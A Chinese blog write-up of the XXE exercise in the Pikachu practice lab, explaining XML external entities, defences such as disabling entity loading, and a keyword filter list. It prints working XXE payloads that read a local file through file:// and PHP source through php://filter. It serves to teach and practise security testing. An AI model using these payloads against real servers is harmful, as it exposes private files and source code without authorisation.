Pikachu系列——XXE

Pikachu靶場系列持續更新~

 
要像追劇追番一樣追下去哦
 

實驗九 —— XXE

XXE概述

xml外部實體注入
攻擊者通過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,導致問題。xxe漏洞觸發的點往往是可以上傳xml文件的位置,也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。

危害
加載惡意外部xml文件
文件讀取
命令執行
內網端口掃描
攻擊內網網站
發起dos攻擊等危害

XML概念
XML是可擴展的標記語言,設計用來進行數據的傳輸和存儲, 結構是樹形結構,有標籤構成,這點很像HTML語言。但是XML和HTML有明顯區別如下:
XML ----- 被設計用來傳輸和存儲數據
HTML ----- 被設計用來顯示數據

XML結構

第一部分:XML聲明部分
<?xml version="1.0"?>

第二部分:文檔類型定義 DTD
<!DOCTYPE note[ 
<!--定義此文檔是note類型的文檔-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部實體聲明-->
]>

第三部分:文檔元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其中,DTD(文檔類型定義),用來爲 XML 文檔定義語法約束,可以是內部申明也可以使引用外部DTD。
① 內部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">

XML中對數據的引用稱爲實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以藉助各種僞協議,比如如下三種,具體的示例可以看下面的xxe靶場實驗:
file:///path/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

防禦:
①禁用外部實體
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
 

實驗環境

我用的是phpstudy集成環境,一鍵搭環境 (如果端口沒被佔用還是比較順利的)

靶場:Pikachu靶場下載
瀏覽器一個

接下來:
–>把下載下來的pikachu文件夾放到web服務器根目錄下
–>根據實際情況修改inc/config.inc.php裏面的數據庫連接配置(登錄名和密碼要與數據庫相同)
–>訪問http://x.x.x.x/pikachu,會有一個紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點擊進行初始化安裝!",點擊即可完成安裝。
 

XXE

先提交一個正常的 xml 數據

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY xxe "test"> ]>
<name>&xxe;</name>

payload中 &xxe; 是用來將xxe這個實體進行調用,xxe實體成功在前端回顯。
在這裏插入圖片描述
讀取服務器/本地文件(事先創建一個文本文件)
在這裏插入圖片描述
提交下面這樣的payload,利用file://協議就能看到服務器/主機上的文件內容
這個XXE的file://協議一開始我用的5.3版本(失敗),後來換的5.4的php環境才成功

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D://phpStudy//PHPTutorial//WWW//pikachu//xxe.txt"> ]>
<x>&xxe;</x>

在這裏插入圖片描述
利用php://協議的filter過濾器以base64格式讀取服務器/本地文件

<?xml version = "1.0"?>  
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>   
<x>&xxe;/x>

在這裏插入圖片描述
GOT IT!

 
******************************************************
這一XXE模塊先搞定了,關注收藏追更哦~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章